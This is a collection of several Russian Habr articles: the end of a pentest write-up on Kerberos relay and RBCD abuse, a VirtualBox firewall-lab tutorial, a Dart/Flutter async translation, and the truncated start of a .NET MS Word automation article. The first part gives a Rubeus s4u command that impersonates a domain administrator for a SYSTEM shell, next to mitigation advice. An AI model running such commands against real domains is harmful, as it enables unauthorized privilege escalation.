[+] Run Rubeus s4u method for SYSTEM shell (https://github.com/GhostPack/Rubeus/pull/137):
./Rubeus.exe s4u /u2u /domain:TINYCORP.net /user:AngaraUser /impersonateuser:administrator /msdsspn:host/MOSCOW [/altservice:http] [/nowrap] [/ptt] [/createnetonly:C:\Windows\System32\cmd.exe] [/show] /rc4:NTHASH(Passw0rdUs3r!)
```
Там было совсем немного изменений, но если кто-то захочет посмотреть — вам [сюда](https://github.com/snovvcrash/KrbRelayUp).
### 5. Вместо заключения
Следуя хорошей традиции усложнения себе, как пентестерам, жизни, приведем перечень рекомендаций для снижения риска от подобных атак:
* Первое и, пожалуй, самое главное — включаем механизмы защиты служб LDAP (LDAP Signing) и LDAPS (LDAP Channel Binding). Нет релея на LDAP(S) — нет львиной доли злонамеренных изменений свойства `msDS-AllowedToActOnBehalfOfOtherIdentity` у объектов машин в Active Directory.
* Второе и почти не менее важное — запрещаем олицетворение критически важных УЗ (например, администраторов домена) при делегировании привилегий путем включения их в группу «Защищенные пользователи» или установкой флага `AccountNotDelegated` в UAC.
* Третье — если в вашем домене `ms-DS-MachineAccountQuota` все еще равна 10, пора задуматься о ~~пентесте~~ безопасности и срочно сбросить его **до нуля**.
* Четвертое — мониторить попытки эксплуатации RBCD Abuse и Kerberos Relay. Для этого рекомендуем обратить внимание на следующие события ИБ: [4741](https://docs.microsoft.com/ru-ru/windows/security/threat-protection/auditing/event-4741), [4673](https://docs.microsoft.com/ru-ru/windows/security/threat-protection/auditing/event-4673), [5156](https://docs.microsoft.com/ru-ru/windows/security/threat-protection/auditing/event-5156), [5136](https://docs.microsoft.com/ru-ru/windows/security/threat-protection/auditing/event-5136), [4768](https://docs.microsoft.com/ru-ru/windows/security/threat-protection/auditing/event-4768) и [4769](https://docs.microsoft.com/ru-ru/windows/security/threat-protection/auditing/event-4769).
* Пятое и заключительное — убедиться в активности **сильного** антивирусного решения на всех сетевых узлах, до которых могут дотянуться обычные пользователи (рабочие станции, терминальники).
Cheers! | https://habr.com/ru/post/680138/ | null | ru | null |
# Создание и тестирование Firewall в Linux, Часть 1.1 Виртуальная лаборатория
Решил написать статью по следам курса, который я делал в прошлом семестре в институте. Конечно, тут я опишу лишь самые главные основы и максимально все упрощу. Постараюсь дать немного теоритической информации, но в основном больше ссылок, картинок и практики.
Итак, речь пойдет о написании firewall в среде Linux. Всю статью я поделю на несколько частей. То, что вы читаете сейчас – первая часть, она поделена еще на три части. Некоторые темы хорошо известны и задокументированы, поэтому я постараюсь отдельно давать минимум теории по ним и отдельно практику. Чтобы всем было интересно. А также ссылки для углубления (часто это будут английские статьи).
**Содержание первой части:**
****1.1** — Создание виртуальной лаборатории (чтобы нам был где работать, я покажу как создать виртуальную сеть на вашем компьютере. Сеть будет состоять из 3х машин Linux ubuntu).**
[**1.2** – Написание простого модуля в Linux. Введение в Netfilter и перехват траффика с его помощью. Объединяем все вместе, тестируем.](https://habrahabr.ru/post/315350/)
**1.3** – [Написание простого char device. Добавление виртуальной файловой системы — sysfs. Написание user interface. Объединяем все вместе, тестируем.](https://habrahabr.ru/post/315454/)
**Содержание второй части:**
**Скрытый текст**[**2.1** — Введение во вторую часть. Смотрим на сеть и протоколы. Wireshark.](https://habrahabr.ru/post/316086/)
[**2.2** — Таблицы Firewall. Transport Layer. Структуры TCP, UDP. Расширяем Firewall.](https://habrahabr.ru/post/316756/)
[**2.3** — Расширяем функциональность. Обарабатываем данные в user space. libnetfilter\_queue.](https://habrahabr.ru/post/316778/)**2.4** — (\*Опиционально) Изучаем реальную Buffer Overflow атаку и предотвращаем с помощью нашего Firewall'а.
*Часть 2.* Еще не готова, но думаю затронуть следующие темы: краткое введение в таблицы firewall. Stateless vs statefull firewall. Добавление еще одного модуля для загрузки таблиц правил (через виртуальную файловую систему sysfs из первой части, может быть тут я просто дам исходный код, потому что принципиально ничего нового тут нет). Добавим небольшую прокси-программу в user space и пошлем нужный траффик из kernel в прокси, поработаем с содержанием траффика и на этой основе примем решения о его дальнейшей судьбе (добавим возможность блокировать отдельные сайты). А так же возьмем реальную известную атаку основанную на buffer overflow, захватим управление над удаленным компьютером с ее помощью и посмотрим как наш firewall может защитить от этого.
Возможно вторая часть будет разбита на две, или изменена. Буду очень рад вашим комментариям и пожеланиям как по первой части так и по второй.
### Введение
Наша цель в этой части – написание программы, которая будет на очень простом уровне контролировать весь траффик. А именно – мы определим какие пакеты можно пропускать, а какие удалять. Создадим простую систему логов, для отслеживания результатов, а так же программу для конечно пользователя, через которую можно будет читать эти результаты и немного управлять программой. Такой вот тривиальный *firewall* или на русском языке — *Межсетево́й экра́н, сетево́й экра́н* — это комплекс аппаратных и программных средств в компьютерной сети, осуществляющий контроль и фильтрацию проходящих через негосетевых пакетов в соответствии с заданными правилами. ([Wikipedia](https://ru.wikipedia.org/wiki/%D0%9C%D0%B5%D0%B6%D1%81%D0%B5%D1%82%D0%B5%D0%B2%D0%BE%D0%B9_%D1%8D%D0%BA%D1%80%D0%B0%D0%BD)).
В нашем случае, функцию firewall будет выполнять отдельный компьютер. Выглядить это будет так:
Давайте смотреть. Мы сделаем сеть, в которой будет три виртуальных компьютера – host1, host2, fw и соединим их как на картинке выше.
host1 — получит статичный IP address – 10.0.1.1. Его мы будем защищать.
host2 — который будет в последней части аттакующим и будет иметь статичный IP – 10.0.2.2
fw — будет отслеживать весь трафик, сконфигурируем ему так же интерфейс для выхода в интернет, чтобы можно было при (~~читать ВК и новости~~) необходимости скачивать нужный софт.
В двух словах про *DHCP* (англ. Dynamic Host Configuration Protocol — протокол динамической настройки узла) —сетевой протокол, позволяющий компьютерам автоматически получать IP-адрес и другие параметры, необходимые для работы в сети TCP/IP. (Wikipedia).
То есть он будет сам получать различные настройки, включая IP, для того чтобы иметь возможность через этот сетевой интерфейс, выходить без лишней головной боли в интернет.
### Создание виртуальной среды. Теория
Немного про виртуальные машины. В нашем случае, виртуальная машина – это программа, которая будет эмулировать копьютер, благодаря чему, мы сможем запустить на нашем компьютере сразу три операционные системы. Для тех кто совсем не знаком с темой, могут начать [тут](https://ru.wikipedia.org/wiki/%D0%92%D0%B8%D1%80%D1%82%D1%83%D0%B0%D0%BB%D1%8C%D0%BD%D0%B0%D1%8F_%D0%BC%D0%B0%D1%88%D0%B8%D0%BD%D0%B0).
Мы воспользуемся бесплатной программой *VirtualBox*, которая позволяет создавать виртуальные сети на одном компьютере. Конечно же не принципиально чем именно пользоваться, главное иметь возможность сконфигурировать сеть. Программа бесплатна, ищем, качаем, ставим.
Следующим шагом будет добавить виртуальные машины. Я буду работать с Linux Ubuntu 12, по «историческим причинам». Вы можете скачать последнюю версию. Тем более если ваш копьютер достаточно мощный. Образ Ubuntu можно найти [тут](https://virtualboxes.org/images/ubuntu/).
Я надеюсь, что читающий справится с добавление образа в virtualbox и теперь у вас есть что-то похожее на картинку. Я советую воспользоваться функцией “clone” в virtualbox, для быстрого создания еще двух машин. У меня в роли host1, host2 специально урезанные «легкие» версии ubuntu, без графического интерфейса (не хватает RAM для полноценных).
Примерно так это должно выглядеть в конце
### Создание виртуальной среды. Практика
И так, я предполагаю, что у Вас уже есть три виртуальных linux машины, которые мы сейчас сконфигурирует в одну сеть и проверим, что все работает, прежде чем начать писать программу.
Идем в settings и конфигурируем как на фото:
Добавляем сетевое устройство:
Теперь, linux «будет думать», что у нашего компьютера, есть сетевая карта, а если вы посмотрите в Advanced, то увидите, что в нее еще и вставлен кабель. Отлично. Теперь надо сконфигурировать этк карту в операционной системе. Для этого запускаем host1.
На данном этапе, я предполагаю, что читателю ивестно, что такое IP адресс как он выгледит и зачем он нужен. Я буду редактировать в vi, вы можете в любом другом редакторе, но не забываем давать права администратора (запускать с sudo), чтобы иметь возможность сохранить.
```
$ sudo vi /etc/network/interfaces
```
«Просим» систему заново прочитать файл конфигурации (чтобы не перезагружать машину):
```
$ sudo ifdown eth0 && sudo ifup eth0
```
Запускаем *ifconfig* и проверяем, что у нас есть сетевая карта под именем *eth0*, с *IP* == 10.0.1.1, маской и тд и тп.
То же самое делаем с host2, только IP установить в 10.0.2.2, gateway 10.0.2.3 и не забыть «добавить» сетевую карту в настройках машины в virtualbox (у меня после изменений настроек в virtualbox, машина при загрузке подвисала на пару минут и писала waiting for network configuration… Это связано с тем, что по умолчанию, сетевой интерфейс сконфигурирован как dhcp, то есть, операционная система ждет динамически получить сетевые настройки, но в virtualbox, для этого она должна быть сконфигурирована как NAT, но мы это поменяли, поэтому ОС пытается понять, что не так. Можно сначало загрузить ОС, отредактировать interfaces, потом выключить компьютер, изменить настройки и запустить заново).
Host2:
Теперь пришла очередь главной машины, которая будет выполнять роль firewall. Напоминаю, что нам понадобятся три сетевые карты, через одну мы сможем выходить в интернет в случае необходимости поэтому она будет определена как NAT. Остальные две будут ответственны пересылать трафик с host1 -> host2 и обратно с host2 -> host1.
Adapter1 – должен быть выставлен как NAT. Настройки Adapter2, Adapter3, такие же как и в предыдущих примерах (Internal network). Запускаем, начинаем конфигурировать сетевые карты. Так должен выглядеть файл interfaces.
А вот – конечный результат конфигурации, после перезапуска:
Последнее, что осталось сделать — это разрешить *packet forwarding*, для того чтобы компьютер мог брать пакеты с одного сетевого интерфейса(10.0.2.3) на который приходят пакеты от host2 и передать их на другой сетевой интерфейс 10.0.1.3 связннаый соответственно с host1.
[Тут](http://www.ducea.com/2006/08/01/how-to-enable-ip-forwarding-in-linux/) все подробно описано. Чтобы настройка была постоянной, нужно изменить следующую строчку в */etc/sysctl.conf*:
```
net.ipv4.ip_forward = 1
```
Сделать это можно любым удобным способом, не забываем sudo. Много информации про конфигурацию интерфесов можно почитать [тут](http://www.cyberciti.biz/faq/setting-up-an-network-interfaces-file/).
### Проверка
Осталось проверить, что все связно друг с другом и работает. Проверять будем классическим *ping*
Как видно на картинке, ping «прошел» с host1 -> host2, host2 -> host1, fw -> host1, fw -> host2. Готово, «лаборатория» для будущих экспериментов настроена.
### Ссылки:
» [Сетевые Экраны](https://ru.wikipedia.org/wiki/%D0%9C%D0%B5%D0%B6%D1%81%D0%B5%D1%82%D0%B5%D0%B2%D0%BE%D0%B9_%D1%8D%D0%BA%D1%80%D0%B0%D0%BD)
» [Виртуальные машины](https://ru.wikipedia.org/wiki/%D0%92%D0%B8%D1%80%D1%82%D1%83%D0%B0%D0%BB%D1%8C%D0%BD%D0%B0%D1%8F_%D0%BC%D0%B0%D1%88%D0%B8%D0%BD%D0%B0)
» [Как разрешить forwarding](http://www.ducea.com/2006/08/01/how-to-enable-ip-forwarding-in-linux/)
» [Конфигурация interfaces](http://www.cyberciti.biz/faq/setting-up-an-network-interfaces-file/) | https://habr.com/ru/post/315340/ | null | ru | null |
# Flutter. Асинхронность и параллельность
Привет, Хабр! Представляю вашему вниманию перевод [статьи "Futures — Isolates — Event Loop"](https://www.didierboelens.com/2019/01/futures-isolates-event-loop/) автора Didier Boelens об асинхронности и многопоточности в `Dart` (и `Flutter` в частности).
> TLDR: В целом, статья ориентирована на новичков и не изобилует откровениями. Если вы знакомы с механизмами Event Loop, Future и async/await (например, в JavaScript), корутинами в Кotlin, скорее всего, вы не найдёте для себя много нового. Однако, реализация многопоточности в виде механизма Изолятов имеет особенности.
И о переводе терминов. В устной речи ~~мы~~ я говорим "стримы", "трэды","фьючеры" и т.д., на печати же эти термины выглядят странно и коряво.
Вместе с тем, `Stream` — это Поток, и `Thread` — Поток. Контекст в данном случае не всегда спасает. Тот же Изолят, на мой вкус, по-русски звучит нормально, поэтому где-то использую написание кириллицей, а где-то оригинальное.
Кое-где в скобках после русских слов их английский оригинал, иногда наоборот.
Введение
========
В последнее время я часто получаю вопросы, относящиеся к понятиям `Future`, `async`, `await`, `Isolate` и параллельного выполнения кода.
Кроме того, у некоторых разработчиков видны проблемы с пониманием последовательности выполнения их кода.
Я решил воспользоваться возможностью и посвятить этим вопросам статью. Заодно попытаюсь избавиться от путаницы, связанной, в основном, с понятиями `асинхронности` и `параллельности`.
`Dart` — однопоточный язык
==========================
Для начала следует запомнить, что `Dart` — однопоточный а `Flutter` использует `Dart`.
> `Dart` исполняет одновременно одну и только одну инструкцию. Последовательно. Это значит, что выполнение одной инструкции не может быть прервано другой инструкцией.
Другими словами, если мы рассматриваем синхронную функцию (или метод класса), то она будет единственной исполняемой прямо сейчас до тех пор, пока не завершится.
```
void myBigLoop(){
for (int i = 0; i < 1000000; i++){
_doSomethingSynchronously();
}
}
```
В примере выше, исполнение `myBigLoop()` не будет прервано ни при каких условиях. Как следствие, если исполнение метода занимает какое-то время, приложение будет `блокировано` на то время, пока код выполняется.
Модель выполнения в `Dart`
==========================
Компонент `Dart`, который управляет очерёдностью исполнения инструкций, называется `Event Loop`.
Когда вы запускаете `Flutter`-приложение (и любое `Dart`-приложение), создается и запускается новый процесс — `Thread`, в терминах Дарта — `Изолят` (`Isolate`). Это единственный процесс, в котором будет выполняться ваше приложение.
Когда этот процесс создан, Дарт автоматически выполняет следующие действия:
1. инициализирует две очереди (`Queues`) с именами `MicroTask` (микрозадания)
и `Event` (событие), тип очередей `FIFO` (прим.: first in first out, т.е. сообщение,
пришедшие раньше, будут раньше обработаны),
2. исполняет метод `main()` и, по завершении этого метода
3. запускает `Event Loop` (цикл событий)
В течение всего времени жизни основного процесса приложения, один единственный
невидимый вам процесс `Event Loop` будет управлять порядком исполнения вашего
кода, в зависимости от содержимого двух очередей: `MicroTask` и `Event`.
`Event Loop` представляет собой "бесконечный" цикл, частота которого
регулируется внутренними "часами". В случае, если не исполняется никакой другой
`Dart`-код, этот цикл во время каждого "тика" делает примерно следующее:
```
void eventLoop(){
while (microTaskQueue.isNotEmpty){
fetchFirstMicroTaskFromQueue();
executeThisMicroTask();
return;
}
if (eventQueue.isNotEmpty){
fetchFirstEventFromQueue();
executeThisEventRelatedCode();
}
}
```
Как видно, очередь `MicroTask` имеет приоритет перед очередью `Event`. Так для чего же используются эти очереди?
Очередь MicroTask
=================
Используется для `очень коротких` действий, которые должны быть выполнены `асинхронно`, сразу после завершения какой-либо инструкции перед тем, как передать управление обратно `Event Loop`.
В качестве примера `очень короткого` действия представьте освобождение ресурса сразу после его закрытия. Так как процесс закрытия может занять какое-то время, вы могли бы написать что-то наподобие:
```
MyResource myResource;
...
void closeAndRelease() {
scheduleMicroTask(_dispose);
_close();
}
void _close(){
// Код, который должен быть запущен синхронно
// для закрытия ресурса
...
}
void _dispose(){
// Код, который должен быть запущен
// сразу после того, как _close()
// завершится
}
```
Вообще-то, это не то, что вам придется часто использовать. К примеру, во всем исходном коде `Флаттер` метод `scheduleMicroTask()` встречается всего 7 раз. Предпочтительно использовать очередь `Event`.
Очередь Event
=============
Используется для планирования операций, которые получают результат от:
* внешних событий, таких как
+ операции ввода/вывода
+ жесты
+ рисование
+ таймеры
+ потоки
+ ...
* `Future`
Фактически, каждый раз при срабатывании внешнего события, соответствующий код ставится в очередь `Event`.
Как только оказывается, что очередь `MicroTask` пуста, `Event Loop` берёт первую задачу из очереди `Event` и исполняет её.
Интересно, что `Futures` также обрабатываются с помощью очереди `Event`.
Futures
=======
`Future` представляет собой задачу, которая выполняется `асинхронно` и завершается (успешно или с ошибкой) когда-то в будущем.
Что происходит, когда вы создаёте экземпляр `Future`:
* экземпляр создаётся и хранится во внутреннем массиве, управляемом `Dart`
* код, который должен быть исполнен данным экземпляром `Future`, добавляется
напрямую в очередь `Event`
* возвращается экземпляр `Future` со статусом `не завершено` (incomplete)
* если есть синхронный код для исполнения, он исполняется (но не код `Future`)
> **Upd к последним двум пунктам:** Это поведение было актуально до версии языка 2.0. Сейчас код функции, помеченной `async` будет выполняться синхронно до тех пор, пока не встретится ключевое слово `await`. Спасибо [ivanesi](https://habr.com/ru/users/ivanesi/) и [awaik](https://habr.com/ru/users/awaik/) за замечание в комментариях. [Ссылка](https://dart.dev/codelabs/async-await#execution-flow-with-async-and-await) на документацию.
Код, связанный с экземпляром `Future` будет исполнен как любой другой `Event`,
как только `Event Loop` возьмёт его из очереди.
По завершении кода (успешно или с ошибкой) будет вызван метод `then()`
или `catchError()` экземпляра `Future`.
Чтобы проиллюстрировать, давайте посмотрим пример:
```
void main(){
print('Before the Future');
Future((){
print('Running the Future');
}).then((_){
print('Future is complete');
});
print('After the Future');
}
```
Запустив код, вот что мы увидим в консоли:
```
Before the Future
After the Future
Running the Future
Future is complete
```
Подробнее о последовательности выполнения кода:
1. `print('Before the Future')`
2. добавить `(){print('Running the Future');}` в очередь `Event`
3. `print('After the Future')`
4. `Event Loop` выполняет код из пункта 2
5. когда исполнение завершено, выполняется код из метода `then()`
Важно понимать следующее:
> Код `Future` НЕ выполняется `параллельно`, он выполняется в последовательности, определяемой `Event Loop`
Асинхронные методы (async)
==========================
Когда вы помечаете объявление метода ключевым словом `async`, для `Dart` это значит, что:
* результат выполнение метода — это `Future`
* он синхронно выполняет код этого метода, пока не встретит первое ключевое слово `await`, после чего исполнение метода приостанавливается
* оставшийся код будет запущен на исполнение как только `Future`, связанный с ключевым словом `await` будет завершён
Некоторые разработчики ошибочно полагают, что `await` приостанавливает исполнение всего потока до того, как завершится [связанный с ним экземпляр Future], но это не так.
Они не понимают особенности работы `Event Loop`...
Чтобы лучше проиллюстрировать это утверждение, возьмём пример и попробуем
разобраться, что будет результатом его исполнения
```
void main() async {
methodA();
await methodB();
await methodC('main');
methodD();
}
methodA(){
print('A');
}
methodB() async {
print('B start');
await methodC('B');
print('B end');
}
methodC(String from) async {
print('C start from $from');
Future((){ // <== Этот код будет исполнен когда-то в будущем
print('C running Future from $from');
}).then((_){
print('C end of Future from $from');
});
print('C end from $from');
}
methodD(){
print('D');
}
```
Правильная последовательность вывода такова:
```
A
B start
C start from B
C end from B
B end
C start from main
C end from main
D
C running Future from B
C end of Future from B
C running Future from main
C end of Future from main
```
Теперь давайте примем, что `methodC()` из примера выше отвечает за отправку запроса к серверу и получение ответа может занять неопределённое время. Думаю, можно утверждать, что с учётом этого может быть непросто предсказать точную последовательность исполнения кода.
Если же мы хотим, чтобы `methodD()` был исполнен только в самом конце, можно переписать этот код так:
```
void main() async {
methodA();
await methodB();
await methodC('main');
methodD();
}
methodA(){
print('A');
}
methodB() async {
print('B start');
await methodC('B');
print('B end');
}
methodC(String from) async {
print('C start from $from');
await Future((){ // <== изменение здесь
print('C running Future from $from');
}).then((_){
print('C end of Future from $from');
});
print('C end from $from');
}
methodD(){
print('D');
}
```
Вывод будет таким:
```
A
B start
C start from B
C running Future from B
C end of Future from B
C end from B
B end
C start from main
C running Future from main
C end of Future from main
C end from main
D
```
То, что мы добавили ключевое слово `await` перед `Future` в `methodC()` меняет поведение кода.
Так же важно помнить:
> `Асинхронный` метод НЕ выполняется `параллельно`, он выполняется в последовательности, определяемой `Event Loop`
И последний пример. который я хотел разобрать. Что выведет в консоль `method1`и что — `method2`? Будет ли результат одинаковым?
```
void method1(){
List myArray = ['a','b','c'];
print('before loop');
myArray.forEach((String value) async {
await delayedPrint(value);
});
print('end of loop');
}
void method2() async {
List myArray = ['a','b','c'];
print('before loop');
for(int i=0; i delayedPrint(String value) async {
await Future.delayed(Duration(seconds: 1));
print('delayedPrint: $value');
}
```
Ответ: их поведение различается.
Суть в том, что `method1` использует функцию `forEach()` для перебора массива. На каждой итерации он вызывает коллбэк, помеченный как `async` (так что это `Future`). Коллбэк исполняется до ключевого слова `await`, после чего помещает оставшийся код в очередь `Event`. В конце итерации, выполняется следующий оператор: `print('end of loop')`. По окончании `Event Loop` обрабатывает 3 коллбэка.
Что касается `method2`, всё запускается внутри одного блока кода и поэтому исполняется (в этом конкретном примере) последовательно — оператор за оператором.
Как видите, даже в таком простом примере кода, нужно держать в уме особенности
работы `Event Loop`...
Многопоточность
===============
Итак, как же мы может запустить параллельное выполнение кода во `Flutter`? И возможно ли это вообще?
Да, благодаря понятию `Isolate` (Изолят).
Что такое Изолят
================
Как было упомянуто ранее, понятие `Isolate` в `Dart` соответствует общепринятому `Thread` (поток).
Однако есть серьёзное отличие от привычной трактовки понятия `Thread`.
> `Изоляты` во `Flutter` не разделяют память. Взаимодействие между разными `Изолятами` реализовано посредством сообщений.
Каждому `Изоляту` положен отдельный `Event Loop`.
=================================================
Также у него свои собственные очереди (`MicroTask` и `Event`).
Код исполняется в `Изоляте` независимо от других `Изолятов`.
В этом и состоит модель параллельное выполнение кода в `Dart`.
Как запустить `Изолят`
======================
Можно использовать несколько различных способов, в зависимости от желаемого результата.
1. Низкоуровневое решение
-------------------------
Этот подход не использует сторонних пакетов (библиотек) и полагается только на низкоуровневый API, предоставляемый `Dart`.
### 1.1. Шаг 1: создание и рукопожатие
Как я упомянул ранее, `Изоляты` не делят память и взаимодействуют посредством сообщений, таким образом, нам нужно найти способ организовать "общение" между "вызывающим" блоком кода и вновь созданным `Изолятом`.
Каждый `Изолят` предоставляет порт, который используется, чтобы передавать сообщения этому `Изоляту`. Этот порт называется `SendPort` (мне лично кажется, что это название вводит в заблуждение, поскольку этот порт предназначен для получения/прослушивания, но именно таково официальное именование).
Оба, "вызывающий" и "новый Изолят" должны знать порты друг друга, чтобы иметь возможность "общаться". Именно этот процесс рукопожатия показан в примере кода:
```
//
// Порт нового изолята
// этот порт будет использован для
// отправки сообщений этому изоляту
//
SendPort newIsolateSendPort;
//
// Экземпляр нового изолята
//
Isolate newIsolate;
//
// Метод, который запускает новый изолят
// и процесс рукопожатия
//
void callerCreateIsolate() async {
//
// Локальный временный ReceivePort для получения
// SendPort нового изолята
//
ReceivePort receivePort = ReceivePort();
//
// Создание экземпляра изолята
//
newIsolate = await Isolate.spawn(
callbackFunction,
receivePort.sendPort,
);
//
// Запрос порта для организации "общения"
//
newIsolateSendPort = await receivePort.first;
}
//
// Точка входа нового изолята
//
static void callbackFunction(SendPort callerSendPort){
//
// Создание экземпляра SendPort для получения сообщений
// от "вызывающего"
//
ReceivePort newIsolateReceivePort = ReceivePort();
//
// Даём "вызывающему" ссылку на SendPort ЭТОГО изолята
//
callerSendPort.send(newIsolateReceivePort.sendPort);
//
// Дальнейшая работа
//
}
```
> Важное ограничение: входной точкой Изолята ДОЛЖНА БЫТЬ функция верхнего уровня или СТАТИЧЕСКИЙ метод класса
### 1.2. Шаг 2: отправка сообщения `Изоляту`
Теперь, когда у нас есть доступ к порту `Изолята`, мы может отправить ему сообщение:
```
//
// Метод, который отправляет сообщение новому изоляту
// и получает ответ
//
// В этом примере рассматриваем "общение"
// посредством класса String (отправка и получение данных)
//
Future sendReceive(String messageToBeSent) async {
//
// Временный порт для получения ответа
//
ReceivePort port = ReceivePort();
//
// Отправляем сообщение изоляту, а также
// говорим изоляту, какой порт использовать
// для отправки ответа
//
newIsolateSendPort.send(
CrossIsolatesMessage(
sender: port.sendPort,
message: messageToBeSent,
)
);
//
// Ждём ответ и возвращаем его
//
return port.first;
}
//
// Callback-функция для обработки входящего сообщения
//
static void callbackFunction(SendPort callerSendPort){
//
// Создаём экземпляр SendPort для получения сообщения
// от вызывающего
//
ReceivePort newIsolateReceivePort = ReceivePort();
//
// Даём "вызывающему" ссылку на SendPort ЭТОГО изолята
//
callerSendPort.send(newIsolateReceivePort.sendPort);
//
// Функция изолята, которая слушает входящие сообщения,
// обрабатывает и отправляет ответ
//
newIsolateReceivePort.listen((dynamic message){
CrossIsolatesMessage incomingMessage = message as CrossIsolatesMessage;
//
// Обработка сообщения
//
String newMessage = "complemented string " + incomingMessage.message;
//
// Отправляем результат обработки
//
incomingMessage.sender.send(newMessage);
});
}
//
// Вспомогательный класс
//
class CrossIsolatesMessage {
final SendPort sender;
final T message;
CrossIsolatesMessage({
@required this.sender,
this.message,
});
}
```
### 1.3. Шаг 3: удаление `Изолята`
Когда нам больше не нужен экземпляр `Изолята`, хорошо бы освободить ресурс:
```
void dispose(){
newIsolate?.kill(priority: Isolate.immediate);
newIsolate = null;
}
```
### 1.4. Замечание — `Stream` с одним слушателем
Вы должно быть заметили, что для "общения" `Изолята` и "вызывающего" мы используем стримы (Streams). Они имеют тип `Single-Listener Stream` (стрим с одним слушателем).
2. Одноразовое вычисление (One-shot computation)
------------------------------------------------
В случае, когда вам нужно выполнить код в отдельном потоке и нет необходимости в коммуникации с `Изолятом` по завершении, в `Dart` есть вспомогательная функция `compute`, которая
* порождает `Изолят`
* исполняет коллбэк на этом `Изоляте`, передавая ему необходимые данные
* возвращает значение — результат коллбэк-функции
* убивает `Изолят` по завершении выполнения коллбэка.
> Важное ограничение: коллбэк ДОЛЖЕН быть функцией верхнего уровня и НЕ МОЖЕТ быть замыканием или методом класса (даже статическим).
3. Очень важное ограничение
---------------------------
На момент написания статьи, важно отметить, что
> Платформенные взаимодействия (Platform-Channel communication) возможны только в главном `Изоляте` (main isolate). Этот тот `Изолят`, который создается при запуске вашего приложения.
Другими словами, платформенные взаимодействия невозможны в экземплярах `Изолятов`,
создаваемых вами программно.
Когда мне следует использовать `Future` и `Изоляты`
===================================================
Пользователи оценивают качество приложения основываясь на разных факторах, таких как:
* функциональность
* внешний вид
* удобство использования (user friendliness)
Ваше приложение может удовлетворять всем этим требованиям, но в случае подвисаний при выполнении операций (user experiences lags), велика вероятность столкнуться с недовольством пользователей.
Вот несколько вещей, которые вам следует постоянно учитывать при разработке:
1. Если исполнение кода НЕ МОЖЕТ быть приостановлено, используйте обычный
синхронный подход (один метод или несколько методов вызывающих один другой)
2. Если части кода могут работать, НЕ ОКАЗЫВАЯ ВЛИЯНИЯ на плавность
работы приложения, ваш выбор — `Event Loop` посредством механизма `Futures`
3. Если тяжелые вычисления могут занять длительное время, что потенциально
сказывается на плавности работы приложения, ваш выбор — `Изоляты`
Другими словами, желательно, насколько это возможно, использовать механизм `Futures` (напрямую или посредством `async`-методов) — код этих `Futures` будет исполнен как только у `Event Loop` появится "свободное" время. Это даст пользователям ощущение, что работа проводится параллельно (хотя мы-то знаем, что это не так).
Еще один фактор, который может помочь вам решить использовать `Future` или `Изолят` — это примерное время, необходимое для исполнения вашего кода.
* пару миллисекунд => `Future`
* сотни миллисекунд => `Изолят`
Вот несколько хороших кандидатов для использования в `Изоляте`:
* декодирование JSON, результат запроса в сеть (HttpRequest), может занять
достаточно времени => используйте `compute`
* шифрование: может быть очень прожорливой операцией => `Изолят`
* обработка изображений (кадрирование и т.п.) точно занимает время => `Изолят`
* загрузка изображения из сети: почему бы не делегировать эту задачу `Изоляту`, который вернет изображение, когда оно будет полностью загружено.
Заключение
==========
Думаю, что понимание того, как функционирует `Event Loop` очень важно.
Так же важно не забывать, что `Flutter` (`Dart`) — однопоточный, поэтому, для того, чтобы удовлетворить пользователей, разработчики должны быть уверены, что приложение будет работать насколько возможно плавно. `Futures` и `Изоляты` — мощные инструменты, которые помогут достичь этой цели.
Удачи! | https://habr.com/ru/post/497278/ | null | ru | null |
# Мучаем MS Word из нашего приложения
Перед каждым прикладным разработчиком рано или поздно встает задача экспорта данных из своего приложения в другое. Вот и передо мной она в очередной раз встала: мне потребовалось генерировать сообщения для рассылки (почтовой, которую почтальон носит). Письма должны сохраняться в формате Word. Казалось бы, задача тривиальная, но некоторые тонкости есть. На просторах инетернетов довольно много примеров работы с вордом из сторонних приложений через COM-вызов, но большая часть из них является либо примерами уровня «Hello world!», либо заточенными под определенную задачу. Реализации своей я не нашел, потому предлагаю ознакомиться с очередным велосипедом.
Описание задачи
===============
Имеется база данных содержащая информацию об абонентах. Абонентам должны отсылаться бумажные письма. Тексты писем (шаблоны) готовят люди от ИТ очень далекие (юристы, маркетологи и прочие дармоеды), но умеющие пользоваться вордом в том или ином виде (иногда, даже очень хорошо). Т.е. объяснить им, как вставить ключевое слово в текст, вполне возможно, но более сложное требование вызовет у них когнитивный диссонанс.
Второй момент, есть необходимость некоторые письма перед печатью подвергать ручной проверке и правке при необходимости (**UPD**) и находится в одном файле (это связано, с механизмами их дальнейшей передачи). Т.е. в месте формирования они только готовятся (и иногда печатаются).
.Net случился исторически, основной интерфейс работы с БД написан на нём. Собственно, вполне разумно, что пользователь и вызовы будет осуществлять через него. От использования макросов офиса пришлось отказаться по причинам безопасности и трудоемкости настройки.
Лобовое решение, оказавшееся непригодным
========================================
Казалось, что задача проста как три копейки: берем шаблон, вставляем его в выходной документ, заменяем ключевые слова, повторяем до конца записей. Не прокатило. Письмо может содержать несколько страниц, и при таком подходе, торможение ворда при росте объема документа приводит к тому, что рассылка на 30 писем может формироваться до часа. Пришлось включать голову и думать.
Что же получилось
=================
Первым делом открываем шаблон и ищем в нём вхождения ключевых слов и запоминаем их позиции.
> `//загружаем ключевые слова
>
> string[] keyWords = { "FNAME", "LNAME", "DEBT", "MR" };
>
> //Ищем позиции ключевых слов в документе и добавляем в список
>
> List keyWordEntries=new List();
>
> for (int i=0; i
> {
>
> foreach (string keyWord in keyWords)
>
> {
>
> if (sdoc.Words[i+1].Text.Trim()==keyWord)
>
> {
>
> keyWordEntries.Add(new keyWordEntry(keyWord,i+1,sdoc.Words[i+1].Text.Remove(0,keyWord.Length)));
>
> };
>
> };
>
> };
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Тут же обнаруживаются первые приколы работы с вордом (точнее они в этом тексте первые, а в процессе изысканий они были почти последнии): массивы элементов документов (Words, Paragraphs, ets) нумеруются с единицы; пробелы стоящие после слова, ворд легко может считать частью слова – пришлось писать логику их сохранения.
Создаем выходной документ на основе шаблона, так мы малой кровью можем получить документ с нужной разметкой страницы, колонтитулами, стилями и т.п.
> `\_Document ddoc = word.Documents.Add(ref template, ref oMissing, ref oMissing, ref oMissing);
>
> //Удаляем из него всё наполнение
>
> ddoc.Range(ref oMissing, ref oMissing).Delete(ref oMissing, ref oMissing);
>
> \* This source code was highlighted with Source Code Highlighter.`
Заполняем его параграфами по количеству записей в запросе:
> `for (int i = 0; i < rowCount; i++)
>
> {
>
